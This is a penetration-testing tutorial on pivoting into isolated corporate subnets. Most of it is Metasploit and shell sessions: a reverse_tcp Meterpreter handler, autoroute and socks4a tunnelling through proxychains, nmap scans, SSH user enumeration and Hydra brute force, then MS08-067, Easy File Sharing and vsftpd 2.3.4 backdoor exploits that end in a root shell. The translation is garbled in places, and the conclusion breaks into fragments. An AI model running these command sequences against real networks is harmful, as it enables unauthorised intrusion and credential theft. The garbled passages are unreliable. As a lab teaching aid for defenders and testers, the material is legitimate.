Advanced tunneling: attack the internal nodes of the corporate network

This article will look at attack scenarios for secure corporate network segments using the pivoting technique, the metasploit framework and proxychains.

Multi-layer network architecture is created to protect important corporate services according to the concept of Defense-in-Depth, which occupies an important place in the field of information security. In other words, company-critical systems cannot be located on the same network as all others. In this article, I will show by examples how an attacker can gain access to a “hidden” network without having direct access to it in the early stages of penetration testing, using pivoting or advanced tunneling methods.

Routing

The process during which devices in different networks determine how they communicate with each other is called routing. Routing usually occurs on devices called routers or routers. They redirect network packets between network nodes using the routing table until they reach the final destination. Generally speaking, routing can be performed not only by routers, but also by ordinary operating systems installed on working computers.
')


According to the example in the diagram above, for successful routing between the 192.168.1.0/24 and 192.168.10.0/24 subnets, the router must have a corresponding entry in its routing table. This entry tells how the network packet should go from the 192.168.1.0/24 network to the 192.168.10.0/24 network and vice versa.

The path of the network packet can be represented as follows (the path begins with the node sending the packet):

1. Can the target IP address be on my subnet?
- If so, deliver the package to the destination address.
- If not, send the packet to the gateway.
2. When a router receives a packet, it checks its routing table.
3. Do I have an entry about the host or subnet for which the IP packet is intended?
- If so, send the packet to the destination network.
- If not, send the packet to the next gateway.
4. The same process is repeated on all other routers.
5. As a result, the packet goes to the router responsible for accessing the Internet from the corporate network, and the packet is sent to the Internet.

Pivoting

Pivoting is a technique by which access is organized to those networks to which we do not have access under normal circumstances and obtained using compromised computers. Network isolation will be useless if we compromise a network node that has access to all isolated subnets. Thus, an attacker can use routing capabilities on a compromised machine to access internal corporate resources. Each request that will be made to the internal network will pass through a compromised host, usually called a pivot. In other words, we get a tunnel into the internal network for our packages.



As can be seen in the diagram above, the device in the center has two network interfaces to access both networks, 192.168.1.0/24 and 192.168.10.0/24. During normal operation between these two networks, the route runs only through a router with network interfaces 192.168.1.1 and 192.168.10.1. According to the architecture, an authorized user of the device in the center of the scheme must have access to some services in the DMZ.

Compromise of the first forwarding node (pivot) and port forwarding

According to the attack scenario, we received the shell of the mega-prefix on the RD machine, which is located in the DMZ and, as it turned out, has two network interfaces.



As we can see, the router in the diagram does not have a route between the networks that the attacker needs.

msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 172.16.0.20 LHOST => 172.16.0.20 msf exploit(handler) > set LPORT 1234 LPORT => 1234 msf exploit(handler) > run [*] Started reverse TCP handler on 172.16.0.20:1234 [*] Starting the payload handler... [*] Sending stage (957487 bytes) to 172.16.0.11 [*] Meterpreter session 2 opened (172.16.0.20:1234 -> 172.16.0.11:49162) meterpreter > ifconfig Interface 1 ============ Name : Software Loopback Interface 1 Hardware MAC : 00:00:00:00:00:00 MTU : 4294967295 IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff Interface 11 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:e1:3f:af MTU : 1500 IPv4 Address : 172.16.0.11 IPv4 Netmask : 255.255.255.0 Interface 19 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter #2 Hardware MAC : 08:00:27:7f:3c:fe MTU : 1500 IPv4 Address : 7.7.7.11 IPv4 Netmask : 255.255.255.0 

Further, according to the scenario, the attacker wants to gain access to the subnet behind the interface 7.7.7.0/24. To do this, it needs to set a routing rule for the RD host, i.e. turn a compromised host into a pivot.

It is very easy to make a payload with a payload. The following command can be used to create a tunnel through an existing Meter Jumper session.

 meterpreter > run autoroute -s 7.7.7.0/24 [*] Adding a route to 7.7.7.0/255.255.255.0... [+] Added route to 7.7.7.0/255.255.255.0 via 172.16.0.11 [*] Use the -p option to list all active routes meterpreter > run autoroute -p Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 7.7.7.0 255.255.255.0 Session 2 meterpreter > 

According to the specified rule, while the session of the metepreter with ID 2 is running, other Metasploit Framework modules have access to the network 7.7.7.0/24. In other words, after executing the commands above, the IP address of the JC host will be determined if we use a module such as arp_scanner. JC is an internal network host with an IP address of 7.7.7.20.

 meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24 [*] Running module against DISCORDIA [*] ARP Scanning 7.7.7.0/24 [*] IP: 7.7.7.11 MAC 08:00:27:7f:3c:fe (CADMUS COMPUTER SYSTEMS) [*] IP 7.7.7.12 MAC 08:00:27:3a:b2:c1 (CADMUS CIMPUTER SYSTEMS) [*] IP: 7.7.7.20 MAC 08:00:27:fa:a0:c5 (CADMUS COMPUTER SYSTEMS) [*] IP: 7.7.7.255 MAC 08:00:27:3f:2a:b5 (CADMUS COMPUTER SYSTEMS) meterpreter > 

We have learned the IP addresses of available hosts on the 7.7.7.0/24 network.

We forward nmap through the tunnel

To forward nmap, the route must be configured in metasploit, and the configuration itself must be accessible through a socks4 proxy. To do this, use the socks4a module in metasploit:

 meterpreter > background [*] Backgrounding session 2... msf > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(socks4a) > set srvhost 172.16.0.20 srvhost => 172.16.0.20 msf auxiliary(socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server msf auxiliary(socks4a) > netstat -antp | grep 1080 [*] exec: netstat -antp | grep 1080 tcp 0 172.16.0.20:1080 0.0.0.0:* LISTEN 3626/ruby msf auxiliary(socks4a) > 

Now, using the ProxyChains utility, any TCP connection can be sent to the destination via TOR, SOCKS4, SOCKS5, HTTP / HTTPS proxy. Multiple proxy servers can be chained. In addition to anonymity, using such a scheme, applications can access detected internal networks.



Before using ProxyChains, you need to make a small adjustment in the /etc/proxychains.conf file. To do this, edit the last line in the file.

 [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" #socks4 127.0.0.1 9050 socks4 172.16.0.20 1080 

Now you can scan the nmap utility through the socks4 proxy server we created:

 root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms08-067.nse 7.7.7.20 ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.25BETA1 ( https://nmap.org ) |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:80-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK Nmap scan report for 7.7.7.20 Host is up (0.17s latency). PORT STATE SERVICE VERSION 22/tcp open ssh Bitvise WinSSHD 7.16 (FlowSsh 7.15; protocol 2.0) 80/tcp closed http Easy File Sharing Web Server httpd 6.9 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003 Host script results: | smb-vuln-ms08-067: | VULNERABLE: | Microsoft Windows system vulnerable to remote code execution (MS08-067) | State: VULNERABLE | IDs: CVE:CVE-2008-4250 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary | code via a crafted RPC request that triggers the overflow during path canonicalization. | | Disclosure date: 2008-10-23 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 |_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds root@kali:~# 

Based on the scan results, we can say that SSH and HTTP services are available to us on the host 7.7.7.20. Before proceeding further, we will consider another technique that is often used during pivoting, port forwarding or port forwarding.

Port forwarding

Port forwarding is one of the basic steps during tunneling. This technique is used when the service within the detected network is not available directly. This is because our routing is unidirectional. We know how to access the internal service, but the service does not have an appropriate route to the attacker's machine.



Therefore, we will redirect the port from the attacking machine to the port of the target service through the meterpremer session. This port forwarding will work as long as there is a space-breaker process on the compromised machine (on the pivot).

It is worth noting that the tunnel that was created using autoroute exists only in the context of the metasploit framework and is available for other modules. But if we want to use the tunnel with other utilities that go beyond the framework, we need tools like proxychains and techniques, such as port forwarding.

Port forwarding can be performed using the portfwd module, which is one of the post-modules of the Metasploit framework.

 meterpreter > portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS: -L <opt> Forward: local host to listen on (optional). Remote: local host to connect to. -R Indicates a reverse port forward. -h Help banner. -i <opt> Index of the port forward entry to interact with (see the "list" command). -l <opt> Forward: local port to listen on. Reverse: local port to connect to. -p <opt> Forward: remote port to connect to. Reverse: remote port to listen on. -r <opt> Forward: remote host to connect to. meterpreter > 

When we send a connection request to our local port 2323, entering the corresponding URL in the browser, our request will be redirected to port 80 of the node 7.7.7.20 via the Metasploit Framework. Previously, using nmap and proxychains, we found that the internal network has a web service running on TCP port 80. To access it with all the available Kali Linux utilities, we must forward our local port 2323 to remote port 80, node 7.7. 7.20.

 meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20 [*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80 meterpreter >       portfwd list meterpreter > portfwd list Active Port Forwards ==================== Index Local Remote Direction ----- ----- ------ --------- 1 172.16.0.20:2323 7.7.7.20:80 Forward 1 total active port forwards. meterpreter > 

Now let's try to access the web service Eash File Sharing Web Server.

SSH brute force through pivoting

As you remember, we found the same SSH service on the machine 7.7.7.20. We can conduct a brute force attack (brute force) through our tunnel. For this we will use the auxiliary module SSH_enumusers:

 msf > use auxiliary/scanner/ssh/ssh_enumusers msf auxiliary(ssh_enumusers) > set rhosts 7.7.7.20 rhosts => 7.7.7.20 msf auxiliary(ssh_enumusers) > set rport 22 rport => 22 msf auxiliary(ssh_enumusers) > set user_file /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt user_file => /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt msf auxiliary(ssh_enumusers) > run [*] 7.7.7.20:22 - SSH - Checking for false positives [*] 7.7.7.20:22 - SSH - Starting scan [+] 7.7.7.20:22 - SSH - User 'admin' found [-] 7.7.7.20:22 - SSH - User 'root' not found [-] 7.7.7.20:22 - SSH - User 'Administrator' not found [+] 7.7.7.20:22 - SSH - User 'sysadm' found [-] 7.7.7.20:22 - SSH - User 'tech' not found [-] 7.7.7.20:22 - SSH - User 'operator' not found [+] 7.7.7.20:22 - SSH - User 'guest' found [-] 7.7.7.20:22 - SSH - User 'security' not found [-] 7.7.7.20:22 - SSH - User 'debug' not found [+] 7.7.7.20:22 - SSH - User 'manager' found [-] 7.7.7.20:22 - SSH - User 'service' not found [-] 7.7.7.20:22 - SSH - User '!root' not found [+] 7.7.7.20:22 - SSH - User 'user' found [-] 7.7.7.20:22 - SSH - User 'netman' not found [+] 7.7.7.20:22 - SSH - User 'super' found [-] 7.7.7.20:22 - SSH - User 'diag' not found [+] 7.7.7.20:22 - SSH - User 'Cisco' found [-] 7.7.7.20:22 - SSH - User 'Manager' not found [+] 7.7.7.20:22 - SSH - User 'DTA' found [-] 7.7.7.20:22 - SSH - User 'apc' not found [+] 7.7.7.20:22 - SSH - User 'User' found [-] 7.7.7.20:22 - SSH - User 'Admin' not found [+] 7.7.7.20:22 - SSH - User 'cablecom' found [-] 7.7.7.20:22 - SSH - User 'adm' not found [+] 7.7.7.20:22 - SSH - User 'wradmin' found [-] 7.7.7.20:22 - SSH - User 'netscreen' not found [+] 7.7.7.20:22 - SSH - User 'sa' found [-] 7.7.7.20:22 - SSH - User 'setup' not found [+] 7.7.7.20:22 - SSH - User 'cmaker' found [-] 7.7.7.20:22 - SSH - User 'enable' not found [+] 7.7.7.20:22 - SSH - User 'MICRO' found [-] 7.7.7.20:22 - SSH - User 'login' not found [*] Caught interrupt from the console... [*] Auxiliary module execution completed ^C 

As a result of the command, we found a lot of users.

In addition to the Metasploit Framework helper modules, tools like Hydra can be used to attack. We will run brute force with Hydra through ProxyChains. All traffic will pass through a tunnel running on a compromised RD node.

 root@kali:~# proxychains hydra 7.7.7.20 ssh -s 22 -L /tmp/user.txt -P top100.txt -t 4 ProxyChains-3.1 (http://proxychains.sf.net) Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 4 tasks per 1 server, overall 64 tasks, 20 login tries (l:2/p:10), ~0 tries per task [DATA] attacking service ssh on port 22 |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK <><>-OK <><>-OK <><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK [22][ssh] host: 7.7.7.20 login: admin password: 123456 |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK <><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished root@kali:~# 

Next, you can connect via SSH through a proxy server with the admin username and password 123456, obtained using Hydra.

 root@kali:~# proxychains ssh admin@7.7.7.20 ProxyChains-3.1 (http://proxychains.sf.net) |D-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK The authenticity of host '7.7.7.20 (7.7.7.20)' can't be established. ECDSA key fingerprint is SHA256:Rcz2KrPF3BTo16Ng1kET91ycbr9c8vOkZcZ6b4VawMQ. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '7.7.7.20' (ECDSA) to the list of known hosts. admin@7.7.7.20's password: bvshell:/C/Documents and Settings/All Users$ pwd /C/Documents and Settings/All Users bvshell:/C/Documents and Settings/All Users$ dir 2016-12-24 21:32 <DIR> Application Data 2016-12-25 06:16 <DIR> Desktop 2016-12-24 18:36 <DIR> Documents 2016-12-24 18:37 <DIR> DRM 2016-12-24 21:32 <DIR> Favorites 2016-12-24 18:38 <DIR> Start Menu 2016-12-24 21:32 <DIR> Templates 0 Files 0 bytes 7 Directories bvshell:/C/Documents and Settings/All Users$ 

Accessing the second pivot node

During the scan of nmap network 7.7.7.0/24, hosts were found that are vulnerable to MS08-067 and BoF vulnerability in the Easy File Share application. Access to the second pivot node can be accessed using one of the vulnerabilities. Another option would be to continue tunneling using SSH Port Forwarding technology, but here we will use MS08-067 and BoF.

Vulnerability MS08-067 and Bind TCP

Metasploit Framework has a module for exploiting the exploit exploit / windows / smb / ms08_067_netapi vulnerability.
It is important to note that we are using payload bind_tcp, because we have not defined routes in both directions and the target system will not be able to perform a reverse connection to the attacker's machine, since does not have an appropriate route. Thus, the target machine will simply wait for the connection to the port, which we will indicate in the bind_tcp payload settings. The diagram below shows the sequence of steps when using direct and reverse connections.



Choose a module for operation MS08-067, payload bind_tcp and compromise the second machine:

 msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes The SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > set rhost 7.7.7.20 rhost => 7.7.7.20 msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 7.7.7.20 yes The target address RPORT 445 yes The SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LPORT 4444 yes The listen port RHOST 7.7.7.20 no The target address Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > run [*] Started bind handler [*] 7.7.7.20:445 - Automatically detecting the target... [*] 7.7.7.20:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown [*] 7.7.7.20:445 - We could not detect the language pack, defaulting to English [*] 7.7.7.20:445 - Selected Target: Windows 2003 SP2 English (NX) [*] 7.7.7.20:445 - Attempting to trigger the vulnerability... [*] Sending stage (957999 bytes) to 7.7.7.20 [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) meterpreter > 

Vulnerability Easy File Share BoF

You can also take advantage of another vulnerability found in the Easy File Share application. The compromise of the machine can be made as follows:

 msf > use exploit/windows/http/easyfilesharing_seh msf exploit(easyfilesharing_seh) > show options Module options (exploit/windows/http/easyfilesharing_seh): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 80 yes The target port Exploit target: Id Name -- ---- 0 Easy File Sharing 7.2 HTTP msf exploit(easyfilesharing_seh) > set rhost 7.7.7.20 rhost => 7.7.7.20 msf exploit(easyfilesharing_seh) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(easyfilesharing_seh) > run [*] Started bind handler [*] 7.7.7.20:80 - 7.7.7.20:80 - Sending exploit... [+] 7.7.7.20:80 - Exploit Sent [*] Sending stage (957999 bytes) to 7.7.7.20 [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) at 2016-12-26 14:21:11 +0300 meterpreter > ipconfig Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 Interface 65539 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:29:cd:cb MTU : 1500 IPv4 Address : 8.8.8.3 IPv4 Netmask : 255.255.255.0 Interface 65540 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter #2 Hardware MAC : 08:00:27:e3:47:43 MTU : 1500 IPv4 Address : 7.7.7.20 IPv4 Netmask : 255.255.255.0 meterpreter > 

The attack is shown schematically below:



Since we got access to the machine 7.7.7.20, we can continue to collect information. As it turned out, the JC machine also has two network interfaces. This means that we found a second network to which we do not have direct access (8.8.8.0/24).

 meterpreter > ipconfig Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 Interface 65539 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:29:cd:cb MTU : 1500 IPv4 Address : 8.8.8.3 IPv4 Netmask : 255.255.255.0 Interface 65540 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter #2 Hardware MAC : 08:00:27:e3:47:43 MTU : 1500 IPv4 Address : 7.7.7.20 IPv4 Netmask : 255.255.255.0         arp-. meterpreter > run post/windows/gather/arp_scanner RHOSTS=8.8.8.0/24 [*] Running module against SRV03 [*] ARP Scanning 8.8.8.0/24 [*] IP: 8.8.8.3 MAC 08:00:27:29:cd:cb (CADMUS COMPUTER SYSTEMS) [*] IP: 8.8.8.1 MAC 0a:00:27:00:00:03 (UNKNOWN) [*] IP: 8.8.8.9 MAC 08:00:27:56:f1:7c (CADMUS COMPUTER SYSTEMS) [*] IP: 8.8.8.13 MAC 08:00:27:13:a3:b1 (CADMUS COMPUTER SYSTEMS)  ,     4 .    . meterpreter > run autoroute -s 8.8.8.0/24 [*] Adding a route to 8.8.8.0/255.255.255.0... [+] Added route to 8.8.8.0/255.255.255.0 via 7.7.7.20 [*] Use the -p option to list all active routes msf > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 7.7.7.0 255.255.255.0 Session 1 8.8.8.0 255.255.255.0 Session 3 

Double punch pivoting

We found a network of 8.8.8.0/24. We already have a route between 172.16.0.0/24 and 7.7.7.0/24 via a compromised RD machine. In the current configuration, packets coming from the 172.16.0.20 network to the JC host (the second compromised machine) first go to the RD host (the first compromised machine) and the RD already broadcasts them to the JC machine. If an attacker (172.16.0.20) now wants to access the new network 8.8.8.0/24, a new routing rule must be defined. To use tools outside of the Metasploit Framework, we must launch a new socks4 proxy server to connect two pivot nodes, and then set a new proxy server in the proxychains settings.

Network packets with the destination address 8.8.8.9 sent from the attacker's machine (172.16.0.20) must pass through two compromised machines:

• RD: I do not know how to get access to IP 8.8.8.9. But I know a router that can access this IP. I can redirect the package to him.
• JC: I know how to redirect packets from the 7.7.7.0/24 network to the 8.8.8.0/24 network.

As a result, we get the following scheme:

Almighty ProxyChains

The ProxyChains tool creates a tunnel through a chain of proxy servers and sends a packet through it to the destination address. The final step is to create a socks4 proxy server listening on port 1081 for the 8.8.8.0/24 network.

 msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 172.16.0.20 yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(socks4a) > set SRVPORT 1081 SRVPORT => 1081 msf auxiliary(socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server msf auxiliary(socks4a) > The information of the new proxy server will define in the /etc/proxychains.conf configuration file. By activating the Dynamic Chain setting, sequential switching between the defined proxy servers is ensured. 

It remains to adapt the proxychains settings in the /etc/proxychains.conf file. The Dynamic Chain option is used so that the packets follow the proxy server chain specified in the proxychains configuration file in the order from top to bottom.

 root@kali:~# cat /etc/proxychains.conf | grep -v "#" dynamic_chain proxy_dns tcp_read_time_out 15000 tcp_connect_time_out 8000 socks4 172.16.0.20 1080 # First Pivot socks4 172.16.0.20 1081 # Second Pivot 

Now, using proxychains, we can scan host 8.8.8.9 through our tunnel:

 root@kali:~# proxychains nmap -sT -sV -p21,22,23,80 8.8.8.9 -n -Pn -vv ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.25BETA1 ( https://nmap.org ) Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html). NSE: Loaded 36 scripts for scanning. Initiating Connect Scan Scanning 8.8.8.9 [4 ports] |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK Discovered open port 21/tcp on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK Discovered open port 23/tcp on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK Discovered open port 22/tcp on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Discovered open port 80/tcp on 8.8.8.9 Completed Connect Scan at 05:54, 1.37s elapsed (4 total ports) Initiating Service scan at 05:54 Scanning 4 services on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Completed Service scan at 05:54, 11.09s elapsed (4 services on 1 host) NSE: Script scanning 8.8.8.9. NSE: Starting runlevel 1 (of 2) scan. Initiating NSE at 05:54 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Completed NSE at 05:54, 1.71s elapsed NSE: Starting runlevel 2 (of 2) scan. Initiating NSE at 05:54 Completed NSE at 05:54, 0.00s elapsed Nmap scan report for 8.8.8.9 Host is up, received user-set (0.41s latency). Scanned PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack vsftpd 2.3.4 22/tcp open ssh syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet syn-ack Linux telnetd 80/tcp open http syn-ack Apache httpd 2.2.8 ((Ubuntu) DAV/2) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds root@kali:~# 

As you can see, packets pass through two proxy servers and, ultimately, reach the goal.
As a result of scanning, you can find a vulnerable version of vsftpd on host 8.8.8.9. Perform the following steps to discredit the target:

 msf > msf > use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 21 yes The target port Exploit target: Id Name -- ---- 0 Automatic msf exploit(vsftpd_234_backdoor) > set rhost 8.8.8.9 rhost => 8.8.8.9 msf exploit(vsftpd_234_backdoor) > run [*] 8.8.8.9:21 - Banner: 220 (vsFTPd 2.3.4) [*] 8.8.8.9:21 - USER: 331 Please specify the password. [+] 8.8.8.9:21 - Backdoor service has been spawned, handling... [+] 8.8.8.9:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 4 opened (Local Pipe -> Remote Pipe) pwd / id uid=0(root) gid=0(root) ifconfig eth0 Link encap:Ethernet HWaddr 08:00:27:56:f1:7c inet addr:8.8.8.9 Bcast:8.8.8.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe56:f17c/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:10843 errors:0 dropped:0 overruns:0 frame:0 TX packets:2779 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:1081842 (1.0 MB) TX bytes:661455 (645.9 KB) Base address:0xd010 Memory:f0000000-f0020000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:18161 errors:0 dropped:0 overruns:0 frame:0 TX packets:18161 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:5307479 (5.0 MB) TX bytes:5307479 (5.0 MB) 

Countermeasures

Unprotected hosts that have two network interfaces, among which one is accessible from the DMZ, must be removed from the network infrastructure. Hosts located in the DMZ should only be accessible from the DMZ.

Conclusion

The attacker discovered two hidden networks as a result of the following steps:

1. The attacker gained access to the RD machine, which was on the same network as the attacker.
2. , RD .
3. post- Metasploit autoroute.
4. ARP NMAP 7.7.7.0/24 JC.
5. JC : Easy File Share MS08-067.
6. MS08-067 7.7.7.20
7. , , JC .
8. JC (7.7.7.20).
9. ARP NMAP 8.8.8.0/24.
10. vsftp 8.8.8.9 ( SK).
11. SK .

Thus, the attacker, having access to only one network, through a series of attacks, managed to compromise a host located far in the depth of the corporate network beyond the protected network perimeter.